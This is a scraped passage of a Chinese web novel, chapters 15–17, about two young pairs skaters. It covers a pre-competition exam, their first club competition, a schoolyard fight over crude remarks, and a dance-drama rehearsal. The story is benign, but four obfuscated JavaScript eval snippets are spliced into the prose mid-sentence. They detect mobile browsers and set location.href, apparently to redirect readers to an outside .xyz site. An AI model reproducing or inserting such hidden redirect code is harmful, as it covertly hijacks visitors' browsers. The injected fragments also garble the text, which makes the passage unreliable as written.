“怎么连捻转分腿都有?”应逢年说,“这不是规定动作,根本不算分。” “这个算在接续步里,”贺嘉岁说出她的想法,“这样,我们就能名正言顺地练习捻转了。” “那勾手跳呢?我也不会勾手跳。” “你只是落冰不好,四舍五入已经学会了。” 应逢年回忆最近的练习情况。 哪里是落冰问题,他根本就只能蹦半周,0.5Lz啊。 此后半个小时,一离开教练的视线,应逢年就把“谋害搭档”挂在嘴边。 贺嘉岁也不恼,大方地“嗯”两声,再说:“我是为了你好。” 林风致把这个行为定义为—— 嘉岁劝学。 …… 所谓期末考试,光靠硬实力还不够,不因为别的,而是实力本身就不够。 贺嘉岁有林风致的撺掇,在宿舍偷偷进行一些神秘仪式。 比如揉了一百张纸团,抓阄。 “能考多少分?”林风致问。 贺嘉岁展示抽到的数字,69。 不低,但也绝对算不上高。 “换个角度想,这写的或许是96。” 贺嘉岁抿着嘴,缓缓出声:“‘69’颠倒过来还是‘69’。” 老天爷也不知道努努力,她摆弄手表犯无聊。 “嘉岁,我来考考你。” 小学生考完期末,但初中生还没有,林风致不能让自己一个人痛苦。 贺嘉岁背过身:“不要。” “因式分解的定义是什么?” “听不见。” “提公因式法的步骤呢?” “先乘除,后加减。”她扯着嗓子打胡乱讲。 反正还没考试的不是她。 对吧? 第二天周末,不用上学,他们可以花一整天泡在花滑馆。 当然,不是百分百的自愿。 冰舞的两对和贺嘉岁的遭遇一样,都被编入精英组,情况似乎还要遭些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765506|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>冰舞不管是何年龄段,都需要完成两套节目,即图案舞和自由舞。 但林风致连这赛季的图案都还没背熟。 “你们以为自己就轻松了吗?”教练敲打。 贺嘉岁坐在场外看戏:“应逢年连勾手跳都学会了,还有什么不可能。” “是啊,贺嘉岁连旋转都不位移了,还有什么不可能。” 应逢年在这里学会的最大技能,就是说话。 “比赛前会文化考试,你们知道吧。” 平地一声惊雷。 “怎么还有考试?”贺嘉岁连舌头都捋不直。 昨天冯阿姨带她去遛弯,她刚打听好收废品的价钱,教材得留着,但各种资料能卖好多。 “这是针对少年组的规定。” 到达比赛场地后,他们得先完成一套试题。 内容涵盖语文、数学和英语三科,外加花滑项目常识,一共一百道选择题。 考试成绩会占竞赛成绩的百分之十。 贺嘉岁听教练讲了半天,满脑子只记住两个字,“针对”。 他们少年组的命好苦呀。 “难道每参加一场比赛都要考试?”应逢年抓住重点。 在他们的不太期待中,教练点头:“节目得每次都滑,题目当然得每次都做。” 贺嘉岁拍着腿。 哎呀,命更苦了呀。 应逢年没表露出同样的情绪,她有些诧异。 “你背着我进步了吗?” 应逢年竖着手指表忠心:“我有三道大题没写。” 但他想到一个办法。 招呼贺嘉岁凑近,他小声说:“我们的技术比不上别人,但可以在其他地方走捷径。” “你是说……考试吗?” “对,只要我们考得好,说不定比赛成绩能更高。” “你把这条路叫做捷径?” 学会数学和学会阿克塞尔跳,哪个更有难度? 贺嘉岁不信他会选择前者。 “万一被雷劈中了呢。”应逢年指了指室外的糟糕天气。 “那你会死。” 他不会以为自己是电光人*吧? 嘴里回怼千句万句,但贺嘉岁居然真和应逢年走上了做题道路。 在别人被教练罚冰时时,他俩下场休息,抱着以前的考试题目啃。 应付期末考试都没这么认真。 题目照顾到少年组的平均水平,难度很基础,但题量大,半个小时够呛能写完。 “我们应该是最奇怪的参赛选手了吧。”贺嘉岁握着笔自言自语。 “只要能提高成绩。” 管他是冰上或冰下的努力。 …… 俱乐部挑战赛共分五站,首站就在星未来俱乐部的冰上中心举行,和训练基地的直线距离不到五公里。 贺嘉岁说:“一点比赛的实感都没有。” 连考级带来的紧张感都比这更甚。 签到,核验身份,通过层层安检,进入场馆内部。 “没有家长陪赛吗?”工作人员问。 墙上贴着“非运动员及相关人员勿入”的告示。 一旦推开进入后场的门,直到比赛结束,他们都没有离开的机会了。 “我妈妈会来。”应逢年说。 冯女士最近放假,说好了要来见证儿子的第一场花滑比赛。 但周末遇上赛事举办,北京四环大塞车,她在路上堵了半个钟头。 “那就先等等,家长必须要和运动员一同进入后场。” 贺嘉岁和应逢年坐在室外的小凳上。 等阿姨,大脑一直重复这个指令。 直到她等到熟悉的身影。 “爸爸!” 15. 挑战赛·新起点(待修) 贺嘉岁跑到贺先生跟前,嘚吧嘚一通抱怨。 “您不接电话,我以为您不来了。” 天知道她上周满心欢喜,一连拨了多少通电话,结果无人应答。 贺先生是坐凌晨航班来的,下飞机直奔场馆,一路不敢耽搁。 连胡茬都没刮。 喘匀了气,他才把贺嘉岁抱起,顺着她的话骂道:“老板没人性,让爸爸加了几天班。” “您不就是老板吗?” “对,爸爸逼着自己赶在假期前搞定所有工作,”他说,“昨天航班延误,我给你发了短信。” 当时正是女儿的训练时间,他没贸然打扰。 “短信是什么?” 手表拿在手里大半年,贺嘉岁还不知道有这功能。 她自认为平时也用不着别的,只有电话才能联系到想联系的人。 叙旧的半刻钟,冯女士也风尘仆仆赶到,说着比挤滨南地铁还糟糕的出行体验。 距比赛开始不到两个小时,安保人员清理运动员通道,催促逗留的人们进场。 终于走完最后一道安检。 早上是小朋友的专场,推开准备室,全是叽叽喳喳的动静。 贺先生调侃:“嘉岁,像不像儿童节的汇报表演?” 贺嘉岁摇头,说不知道。 爸爸指的是那年,她还在幼稚园,为舞蹈表演花了很多时间。 但因为在彩排时生了病,老师最终没让她登台。 那段记忆很模糊,贺嘉岁只记得有个坏蛋顶了她的位置。 “当时爸爸没时间去,还好今天补上了。”贺先生倒笑得开心。 贺嘉岁没再吭声。 她被人顶替这件事,除了自己没人知道。 …… 孩子们对彼此家长熟悉,但贺先生和冯女士还是头一次见,客套地聊着育儿经验。 文化考试后,小选手紧接辗转检录区。 家长不能再跟进内场,只能按照指示,先去往看台。 冰舞少年组刚好比完。 教练从内场退回来,指导贺嘉岁和应逢年如何热身准备。 活动关节,拉伸肌肉,跳绳激活状态。 一周跳的陆地模仿很轻松。 贺嘉岁想,这个环节好没必要。 但她瞥向应逢年,对方居然在调整呼吸,像大喘气。 “你以前比赛也紧张?”她问。 “我以前哪参加过比赛。” “桃李杯。”她提醒。 “只学了一年的花滑,怎么能和学了六年的舞蹈一样?” “怎么不一样,”贺嘉岁拍着胸脯,“我就不紧张。” 为了证明自己绝对放松,她信口拈来儿歌串烧,从喜羊羊唱到开心超人。 教练原本不想给他们施加压力。 但看他们过于自在,良心过意不去。 “再练练抛跳。”他说。 抛1Lo是他们刚学会的技术,就为了这次比赛。 但以目前的学习进度,一个不敢抛,一个自己跳,还没有质的进展。 “应逢年,你要勇敢上手。” 又一次。 双脚离开冰面,贺嘉岁觉得自己像飞出去的蒲公英,飘到半空,突然又变成折翼的鸟,被拽了回去。 应逢年的手放晚了。 “你就这么不信任他,全靠自己的爆发力?”教练转头,各打五十大板,“还有你,抱那么紧,怕她飞走?” 抛跳技术很难,力量、时机和默契缺一不可,他们一个都不具备。 “少年低龄组运动员,请马上到准备室集合。” 墙上的音响随时传递消息,场上清冰即将结束,终于轮到他们出场。 教练一路跟着,提醒他们再检查一次鞋和刀。 拉开通往内场的大门,视线豁然开朗。 贺嘉岁向前方望了望,她来过这个地方,熟悉的冰场,熟悉的装修陈设,但氛围太陌生。 平时上课的学员不见踪影,反倒是不曾开放的观众席坐了好些人。 应逢年说,等明天开始成年组的比赛,观众会更多。 贺嘉岁睁大眼睛,明明今天已经无处落座了。 这时候还在讲小话,教练皱着眉,不轻不重地敲在两人头顶:“仔细听广播。” “请运动员入场练习六分钟。” 还有这一步? 贺嘉岁还没来得及问,被应逢年催促着摘下刀套上场。 “这是什么环节?”教练刚才根本没提醒。 “第一堂理论课就讲过,比赛的流程。” “你知道我在理论课做什么。” 玩头发,练脚背,数木地板上的奇怪花纹,就是不爱专心听讲。 但应逢年即使知道六练该做什么,也无从下手。 旋转、跳跃,需要练习的有很多。 贺嘉岁有个办法:“他们怎么做,我们也怎么做。” 其他组合在步法热身后直接进入跳跃,抬腿来了个后内结环两周,贺嘉岁差点卡住刀齿。 回头看另一对组合,跳跃也是两周,似乎还是勾手跳。 低龄组看着并不低龄啊。 算了,按照自己的技术顺序来吧。 从跳跃到直立转,除了步法的节奏一致,她和应逢年几乎没有同步性可言。 毕竟还在掌握技术的阶段。 大致把技术动作串了一遍,热身时间结束。 作为精英组里的新秀,贺嘉岁/应逢年没有过往参赛经验,组合积分为零,被安排在第一位出场。 向四周举手亮相,观众投来礼貌的掌声。 也有呼声。 贺嘉岁能分辨,北区的呼声最大。 如果不出意外,应该是她敬爱的爸爸。 音响传来电流的低鸣。 背对背的准备动作就绪,等待开场。 管弦开始跃动,贺嘉岁和应逢年首先以反向的规尺动作调整站位,两人面对面,握手起势,开始一段原地的华尔兹。 不是宫廷里的优雅舞步,更像青梅竹马间的嬉戏。 提琴串起音符,两人转三滑出,以中心对称的图案压步,再回到冰场中心,续上那段华尔兹。 男伴引带女伴滑出,贺嘉岁做了燕式姿态。 自从考级突击了不同用刃的燕式,她对这个动作还算拿手。 一圈捻转调整站位,两人略微拉开距离,呈同向手拉手姿态。 短暂待机后,进入第一个技术动作,2组手握腰托举。 这些天的巩固训练,应逢年能在冰上托稳她,但毕竟能力是客观的,这个托举还不算完美。 落冰滑出后迅速接两圈捻转,这是他们认为的“难度滑出”。 改变滑足,再压步经过冰场的logo,他们开始酝酿节目中唯一的跳跃。 勾手一周,贺嘉岁跳得有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765507|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着急,应逢年的余光扫到他,也着急忙慌地落冰。 没卡上转折的重音,滑行和音乐有些脱节。 及时接上夏塞步,他们的手重新握紧,贺嘉岁借他的力完成一个换足小跳,随后又待机状态。 “三,二,一。” 她听见应逢年在给自己数拍子,也配合地屈膝蓄力,收紧核心和浮足。 怎么飞得有些高。 时间很缓慢,贺嘉岁设想了无数种落冰后的惨状。 时间又突然加速,她看着掠过的光景不断旋转变化,最后摔在冰面上。 她也摔在冰面上。 这方向,好像过周。 旋律还在悠扬,应逢年看她愣了半秒,几乎想拎她起身,贺嘉岁翻身站起,接上了舞蹈动作。 两人在长轴处停冰,又以刀齿向前奔去,不同向的后压步让他们越走越远,又以前C进转,在原地踌躇。 音乐渐满,只有和弦的绵延,故事中的人们遇到过不去的关卡。 转速变快,应和小提琴重新悠扬,他们看见新的云彩和阳光。 他们向彼此滑去,又在中轴处交错,镜像的接续步开始。 后外转三,前内闭式乔克塔,交叉步,压步再进入后外外勾步,再小跳接莫霍克。 三种难度步法,贺嘉岁完成地很顺利。 来到长轴的另一端,他们以手拉手的滑行过渡到华尔兹握法,在滑速降下来时,小心翼翼地跪冰。 惯性带他们向场中移动,不知道谁拉起谁,他们错身继续对称滑行。 这套编排的结束来自于表演滑的版本,一个极饱满的单足弧线,把他们拉到最远,又成为离彼此最亲近的人。 握手旋转一周,又以反向的规尺动作收束。 节目里的音乐卡得时快时慢,但意外在结尾合上了节奏。 贺嘉岁笑着立起身,和应逢年牵手道谢。 “每个技术动作都不及格,但几分几分地凑,也能过六十分,”教练提着嘴角,“比那两组冰舞好得多了。” 六十分指代及格线,即使脑子正缺氧,也知道他们不可能真拿到这个分数。 那是国内顶级运动员该做的事。 “我们是不是得去等分区?” 她看的录像带里,所有选手表演结束,都会坐在沙发上等待结果。 但毕竟是国内赛,布置不如视频里的隆重,起码能有坐的地方。 贺嘉岁几乎要瘫倒。 早知道滑节目这么累,就不必认真地完成六分钟练习。 和滑了十分钟的超长节目似的。 打分很慢,背景墙上的时钟走了两小格。 “我们的分数不会是负的吧?”她问应逢年。 听说林风致的图案舞成绩是个位数,自己的情况应该也不会太好。 “贺嘉岁/应逢年,自由滑技术分4.33,艺术表现分13.21分,总得分17.54分。” “哇,我们的成绩好差。” 贺嘉岁嘴里说着,但没有对这个成绩不畅快。 虽然脑子里的每个声音都在这么叫嚣。 她不会再怀念作为舞蹈生的辉煌过去,这是他们的新起点。 “嘉岁很棒。” “嘉岁做得好!” 爸爸的声音又传过来,一句又一句,和回音似的。 贺嘉岁差点把刀套踢掉。 原来这才是整套节目最大的挑战。 16. 他才不是老鼠屎 自由滑结束,单人滑和双人滑的少年低龄组在比赛第一天就能颁奖。 和其他组别不同,颁奖仪式很简单,只在后场进行。 贺嘉岁仔细看了眼计分规则,告示栏上贴着成绩单。 [贺嘉岁/应逢年,比赛成绩17.54分,折合15.79分,文化课平均68.00分,折合6.80分,综合22.59分。] 仍然排在本组第三位。 文化成绩属实有点用处,但不太多。 “是不是你拖我后腿?”她问应逢年,“我记得我答得很不错。” “你每次考试都这么觉得。” 摄像师到场,主持人到场,颁奖仪式正式开始。 背景煞有介事放了段激昂的音乐。 贺嘉岁已经很久没有感受过登上领奖台的心情。 桃李杯的奖杯是邮寄的,考级证书至今还没拿到手,她没想到能先盼到一枚奖牌。 不过奖牌不是金银铜色。 她看着挂在脖子上的小圆饼,亚克力板上印着“铜牌”,和其他两组选手的差别不大。 领奖台也没分高低,眼前只有三个数字,孩子们只需要找到属于自己的名次。 他们和冠军组分享了胸前的奖牌,对方也小声吐槽,这块亚克力板比去年的还小。 “我以为奖牌只有三种颜色。” 隔壁选手说,俱乐部赛的总决赛奖牌倒是有颜色,且每年都会专门设计,图案很好看。 不过进入总决赛的条件很严苛。 贺嘉岁和应逢年在本赛季只报了一场分站试水,积分垫底,大概率不会入围总决赛。 如果不参加少锦赛,他们会继续回到训练基地蛰伏。 等下一次机会。 那么下一次,总得拿枚有颜色的奖牌吧。 摄影师拍摄的照片可以在现场冲印,贺先生觉得有纪念意义,每张图都想收藏。 “这些图有什么区别。”贺嘉岁觉得他在浪费相纸。 “这张的奖牌反光,那张的嘉岁眼睛更亮,不一样。” 是吗?难怪自己总是找茬游戏的输家,眼力的天赋一点没被老天点中。 应逢年也看过来:“他们的表演服都漂亮。” 和那些选手相反,他和贺嘉岁一身黑。 要不是训练服有些裁剪,和商店清仓甩卖的纯色套装没两样。 “就是,”贺嘉岁认同,“但做衣服很贵。” 林风致和搭档就找设计师买了表演服,不是私人定制,只两套成衣都是好几千。 到手还不太合身。 冯女士出声:“我有很多演出服,如果嘉岁需要,可以改一改。” “但我们今年没有比赛了,应该也没有穿表演服的机会。”贺嘉岁觉得没必要。 冯女士说什么都要送出这个礼物。 就算出不了手,请他们去舞蹈学院看看风光,也能感受感受艺术的熏陶。 …… 贺嘉岁的确很喜欢这所学校的环境。 在北京,鲜少能看见可以称之为茂盛的绿化。 槐树撑开荫凉,地上的光斑随风摇晃,皮肤感受一闪而过的炙热,可以得到树赠予的一朵小花。 舞蹈学院也有体育场,和滨南体校的差不多模样,骑着自行车的学生带起一股热风,鼻间充斥着橡胶跑道融化的味道。 完全暴露在阳光下,这样的气味更浓烈。 但贺嘉岁心情好,还能转身开起玩笑。 “爸爸,你现在很像个潦草的流浪汉。” 光线太强,下巴上的胡茬更明显,像漫画里手动画上的阴影。 贺先生挠了挠:“今天尝试硬汉造型。” “那也是硬汉中的流浪汉。”贺嘉岁有些嫌弃,努力往冯女士靠。 林荫尽头,远离教学区的地方,职工宿舍藏在其中。 贺先生不便打扰,找了借口逛校园,贺嘉岁和应逢年跟着上楼,走进挺有布置的家。 连电视墙都得贴上一面通顶的落地镜。 “我把次卧改成衣帽间,里面有我几十年的压箱底。”冯女士带他们参观,摁亮室内的灯。 贺嘉岁说不出眼前景象的观后感,只能用打开眼界来形容。 原来资深舞蹈生的可以拥有那么多……五颜六色,五花八门,五光十色的服装。 “以后你和逢年也会参加很多比赛,也能拥有很多演出服。” 冯女士从衣架上挑了一件,白底粉色渐变,从肩头到另一侧的腰际有不规则的花纹,像雪地劈开了几道褶皱。 “就它吧。”贺嘉岁说。 “这是从滨南带过来的,那边天气不好,衣服总有霉味,”冯女士嗅了嗅,“在北京晒透了,只有阳光的味道。” 但花滑表演服和舞蹈服也不太相同。 为了更能衬托节目表达,考斯特设计师喜欢用水钻点缀,普通服装的上身效果反而不好。 “我找裁缝照你的尺寸改一改,再在纹路上烫些钻,会很漂亮。” “谢谢阿姨。” “妈妈,”应逢年幽幽问:“她有表演服了,我呢?” 贺嘉岁揶揄:“你也想穿裙子?” 她刚才还发现一件蓝白渐变,说不定很搭。 “我告状,”应逢年像被踩了尾巴,举手说,“贺嘉岁私底下叫您干妈,但她现在只愿意叫您一声阿姨。” 哇,一手好诡计。 贺嘉岁梗着脖子,用鼻孔瞪他。 在冯女士转身离开时,她半玩笑半认真地说:“你有这样的妈妈,就偷着乐吧。” …… 暑假作业很多,语文老师光日记就布置了三篇。 贺嘉岁在开学前一天才赶完作业,三篇日记分别写了:挑战赛前的准备,挑战赛当天的经过,挑战赛后的训练,又包括她如何快速解锁1A和2F。 她背了教训在身上,把所有跳跃都转述为汉字,光“阿克塞尔一周跳”就能占半行。 她还在行文最后拉踩一句,自己比应逢年的跳跃进度快得多。 好巧不巧,应逢年的作文和她如出一辙,是另个视角的挑战赛全流程。 他也心有灵犀,把如何学会2T大写特写。 语文老师已经司空见惯,在课下调侃:“你们到底谁更厉害?” 这个问题没有答案,或者说,贺嘉岁和应逢年争不出答案。 “快上课了,应逢年怎么还没回来。”纪律委员在教室清点人数。 除了应逢年,班里还有好几个男生没到位。 贺嘉岁还在赌气,随便回了句:“不知道。” 老师还没来,班里同学嚷着开风扇,刚才是体育课,大家疯跑了四十分钟。 “天呐,有人在打架!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773902|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 坐在窗边的同学不经意一瞥,发现操场上的风景。 打架,还是群架,一群孩子扭作一团。 比视线更快到达的是巡逻的老师,贺嘉岁随大流凑热闹时,操场已经归于空荡。 应逢年旷了一节课。 原本数学课就煎熬,贺嘉岁时不时往身边的空位瞟,比室外的艳阳天还烦躁。 “吃饭去吗?”前桌敲响她的桌子。 “我不饿。” 下课,她几乎飞出去。 附小的校园很大,两栋教学楼,一栋科技楼,再拐个弯才到办公楼。 教导主任的嗓子快要划破天,对聚众斗殴的小坏蛋们一一数落。 贺嘉岁听见应逢年的名字。 她还听见主任对他的数落,说他像颗老鼠屎。 她静静地贴着墙站,感受另一侧的炮火连天。 贺嘉岁和应逢年打从认识就有干不完的嘴仗。 但无论吵多少次,他依然甘愿陪自己加训,几次三番给自己带饭,甚至没少帮忙系鞋带。 他才不是老鼠屎,是完全可以拿到满分的搭档。 如果和林风致的臭脸舞伴比较,他的分数还可以更高。 办公室里短暂安静了片刻。 大概是主任没喘上气,喝水顺了两口,又继续输出。 好饿,食堂应该没饭了。 应该到学校的午休时间,他们快赶不上软开课了。 下午第一节课的预备铃打响时,贺嘉岁已经坐在地上。 办公室的门打开,走出一个又一个陌生面孔,到最后才是应逢年。 他的鼻尖有颗痣,在窗外天光描摹下,变成小小的、凸起的一点。 应逢年低头,看见猫在地上的贺嘉岁,伸手把人薅起来。 “你怎么可怜兮兮地坐在地上?” “你才可怜兮兮的。” 贺嘉岁想,绝不能让他看见镜子中的自己。 头发乱糟糟,校服也有在塑胶地上滚过的痕迹,眼睛还红红的,难道被骂哭了。 应逢年没接话,只是说:“走吧,我们回去。” 看来,他不打算说出打架的原因。 …… “迟到两个小时,无缘无故吗?”教练冷着声音发问。 应逢年埋头,贺嘉岁也不说话,其他运动员装作忙各自的,就怕火气撒在自己身上。 “说话。” “我们被老师留堂了。”贺嘉岁回答。 “哪个老师?” 冬运中心和附小有深厚的联系,根本瞒不过去。 应逢年说:“教导主任。” “发生了什么?” “如果必须得解释的话,我可以只给她说吗?”他用手指了指身边的贺嘉岁。 教练气笑:“那就把旷掉的时间补回来,晚上十点下课。” 今天的训练气氛沉重,调皮的学生不爱出风头,连林风致和搭档也不敢站出来互相抱怨。 教练还是没狠心把他们留到十点,看时间差不多,随便择了理由放学。 并说下不为例。 贺嘉岁坐在场外,四周很安静,似乎能听见冷凝管运作的声音。 她问:“因为我吗?” “对,”应逢年说,“因为你会的两周跳比我多。” “应逢年,你的嘴和你一样不听话。” 17. 薅小孩啦 附小不允许任课老师强占体育课,这是孩子们最满意学校的地方。 五(3)班的体育老师又最温柔。 其他班级还在活动关节的时候,他们已经到处撒野,除了不能回教室,想做什么做什么。 贺嘉岁和她的前桌往僻静的地方钻,估计要偷偷交流手帐心得。 应逢年看她消失在教学楼后。 “应逢年,打羽毛球吗?”有男生主动勾肩搭背。 虽然在这个班级待了一年,但相处时间不多,应逢年不能全叫出他们的名字。 他定了定神,相信这是他们分享友谊。 “可以。” 他接受邀请。 男生问:“那我们一起去借?” 他们没有自带球拍,只能去器材室找管理员,就在操场边。 这是应逢年第一次走进这间房子。 里面有些昏暗,空间很大,说话带混响,立架上塞满各种运动器材,甚至还有去年校运会的大鼓。 羽毛球小,他们找了好一阵。 “管理员呢?” “说等会儿回来。” 他们得填写借还卡,这是规矩。 那就等。 一伙人坐在泡沫垫上,男生们聊到上节课的英语卷子,难到令人发指。 应逢年没参与这个话题。 对他来说,任何难度的卷子都不简单。 发呆的片刻,话题不知不觉转到“暴力”的英语课代表,进而谈起班里的女生。 “班长就是核武器,她一发威,方圆五里都是无人区。” “体育委员才是,笑眯眯罚我跑五圈,还爱装无辜。” 应逢年皱眉,不适感涌上来。 奇怪的话题混着刺鼻的塑胶味,他起身往外走。 “应逢年,贺嘉岁人怎么样?” 那几个男生丢下羽毛球,动身跟出来。 “很好。”他回答。 “是哪方面很好啊?”有男生刻意模仿胡同串子的玩味,调笑问,“听说花滑需要你们成天抱在一块,手感怎么样?” 应逢年停下脚步,声音冷得发寒:“谁教你的。” “都是高年级的大孩子,问问怎么了。” 几个男生背绷得直,嘴里怪他反应过激,没人认为这不对。 下课铃响了。 应逢年继续往教学楼走,他得远离这些人,他得回教室。 “开不起玩笑。” “他不会喜欢贺嘉岁吧?跟屁虫似的。”他们在身后讨论开。 有人突然被砸了一拳,毫无防备地踉跄几步,顺势倒在地上。 是最初挑起话题的那个。 看热闹的男生后退几步,自以为刚才的猜测得到验证:“再喜欢也不能打人吧。” “成班人肉酸当有趣,自己都唔觉羞(你们把低俗当有趣,自己不知羞)!” 男生们听不懂,看他提着拳头要冲过来,直接拥上去。 打架没有章法,不知道谁推了谁,搡作一团。 最先倒地的男生报信说“老师来了”,打上头的孩子们没人听。 “在想什么?”贺嘉岁在应逢年的眼前抓了一把,“你现在像只义愤填膺的猫。” 他们离开训练馆,散步回到宿舍楼下。 宿管阿姨的房间亮着灯,摇着蒲扇看新播出的电视剧,贺嘉岁瞥了眼自己寝室的窗台,没有光。 林风致已经休息了。 应逢年说:“在想要不要告诉你。” “别告诉我,听了也会生气。” 贺嘉岁能猜到是什么。 应该是关于自己的,至于是绯闻还是别的,她不想深究。 “谢谢你,”她说,“应逢年,别生气了,我明天想去首舞玩。” 明天是周末,天气预报说会降温,晒着太阳也不会热。 很适合出行。 “那我给妈妈说一声。” 有冯女士的资助,应逢年也喜提手表,和她还是同款。 贺嘉岁从此没机会显摆,小姑娘很伤心。 …… 秋分,国槐的树叶黄黄绿绿,仍然倔强地挂在枝头。 贺嘉岁大摇大摆走进学校,完全不羞涩于擦肩的是平均舞龄十多年的大人。 路上还遇见冯阿姨的同事,对方塞了一把糖,说难得见一面。 这就是职工家属的感觉吗? 冯女士最近有工作,贺嘉岁和应逢年得去大剧院找她。 “大学和体校真不一样。”她说。 有社团在湖边举办招新活动,横幅一拉,当街斗舞,什么舞种都能打PK。 动静结合,他们还看到躺在瑜伽垫上的冥想社,合理怀疑是为睡大街找个理由。 不远处的图书馆响着慵懒的钟声,风里都是花香。 感觉很自由。 但事实并非如此。 终于进入排练厅,贺嘉岁藏在帷幕后,没再上前。 “不是你上台表演,当什么缩头乌龟。”应逢年看她一动不动。 排练厅在剧院里,是个大礼堂,灯光打在观众席上,估计可以容纳几千人。 据说,去年桃李杯的华北地区赛就在这里举行。 阔别舞台一年,贺嘉岁居然有些不适应这样的环境,虽然此刻,只有舞台上在忙碌。 正是休息时间,冯女士让大家自由活动,转头抓住领舞交代细节。 首舞打算在年末公演一部情景古典舞剧。 “妈妈。” “干妈。” 童声吸引在场的目光,有学生惊讶冯教授居然儿女双全。 冯女士摸了摸贺嘉岁的脑袋:“是半个女儿。” “教授,要不就让他们先顶一顶。” 来得早不如来得巧,在哥哥姐姐眼里,贺嘉岁和应逢年完全是送上门的小羊。 冯女士回绝:“他们是运动员,平时没有过来排练的时间。” “但乐乐两周没来,咱们的编排缺少环节,节奏始终不对。” 乐乐是首舞附中的学生,曾被邀请来参与舞剧排演。 意识到他们指的是自己和应逢年,贺嘉岁抬眼掠过,又收回目光。 她大概听懂了对话。 眼前有一个表演机会,因为原定的小演员无故缺席。 “你想试试吗?”冯女士问。 “不想。” 她很果决地摇头,退到一边旁观。 应逢年跟在她身边,也学她坐在地上,问:“为什么不去试试?你不比首舞附中的差。” “读幼稚园的时候,有人以这样的方式抢了我的位置,那是我特别喜欢的节目。” 所以遇到相同的情形,她不会做那个坏人。 “滨南三幼?” “你怎么知道?” “在我家附近。” 有学生打断他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15782716|174565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的对话,劝说:“要不来站个位吧,别害怕。” 他们是真缺人手。 大周末的,还能去哪里薅舞蹈专业的小孩。 半推半就,贺嘉岁还是走上台。 但她有个条件,得拉上应逢年一起。 舞剧讲述风筝的非遗传承,以现代孩子发现古代的纸鸢为切入点,开展跨越千年的时空对话。 一个孩子是孩子,两个也是,冯女士稍加改动,计划很可行。 原本想周末放松,反倒给自己找了一身事,贺嘉岁在舞台上跑了两个小时,喘如牛。 即使扮演的是21世纪的小学生,但为了贴合舞剧,也需要充分展示古典舞的身韵和体态。 还好是她的拿手戏。 “冯教授说,你们是运动员?” 收场时,有人过来套近乎。 贺嘉岁解释:“花滑运动员,平时也会上舞蹈课。” “是教授妈妈直接开小灶吗?”他们开玩笑。 “有专业的舞蹈老师。” “哪里有校外的老师比教授更专业。” “还不用花冤枉钱。” 说到这儿,贺嘉岁才意识到,自己成了哥哥姐姐们的调侃对象。 应逢年察觉她的尴尬,不羞于搬出秘密武器。 “妈妈,”他大声喊,“哥哥姐姐们还没跳够,说要再来一遍。” 贺嘉岁笑着添把火,不嫌事大:“再跳三遍,加大剂量。” 学生们吓得住嘴,首先安抚冯教授的情绪,差点反蚀把米。 私下里,舞团都爱叫冯教授“祖宗”,知道她为人和煦,但容易笑里藏刀。 现在倒好,他们偏又主动请来两个“小祖宗”,送都送不走。 “乐乐在上学时犯了腰伤,后续可能会退出这部舞剧。” 又一周,冯女士终于得到消息。 学生很遗憾:“没得治吗?” “你的腰伤有得治吗?” 这是舞蹈生的职业病,只有缓解和复发可言,没法根治。 等等。 贺嘉岁反应过来。 “那么这个角色……” 她和应逢年要坐稳了? 那花滑的训练怎么办。 …… “那花滑的训练怎么办?”教练发出同样的拷问。 九月末,贺嘉岁和应逢年已经在舞团待了两个周末,对节目也算熟悉透了。 冯女士也犹豫他们的去留。 一方面,他们舞蹈功底不错,又不怯场,是很合适的人选。 一方面,他们的确忙不过来。 贺嘉岁说:“学校在国庆节验收节目,我们得先应付过去。” 教练气极:“你是站在哪一边的?” 花滑,当然是花滑。 她可没怠慢哪怕一天训练。 但话又说回来,她做不到完全割舍舞蹈,和不会放弃花滑一样。 “退一万步讲,我们这赛季没有比赛可以准备,真不能去排演舞剧吗?”应逢年帮腔。 舞剧排演都在周末,不会占用训练时间。 “你的周末自由支配,但后期展演怎么办?”教练问。 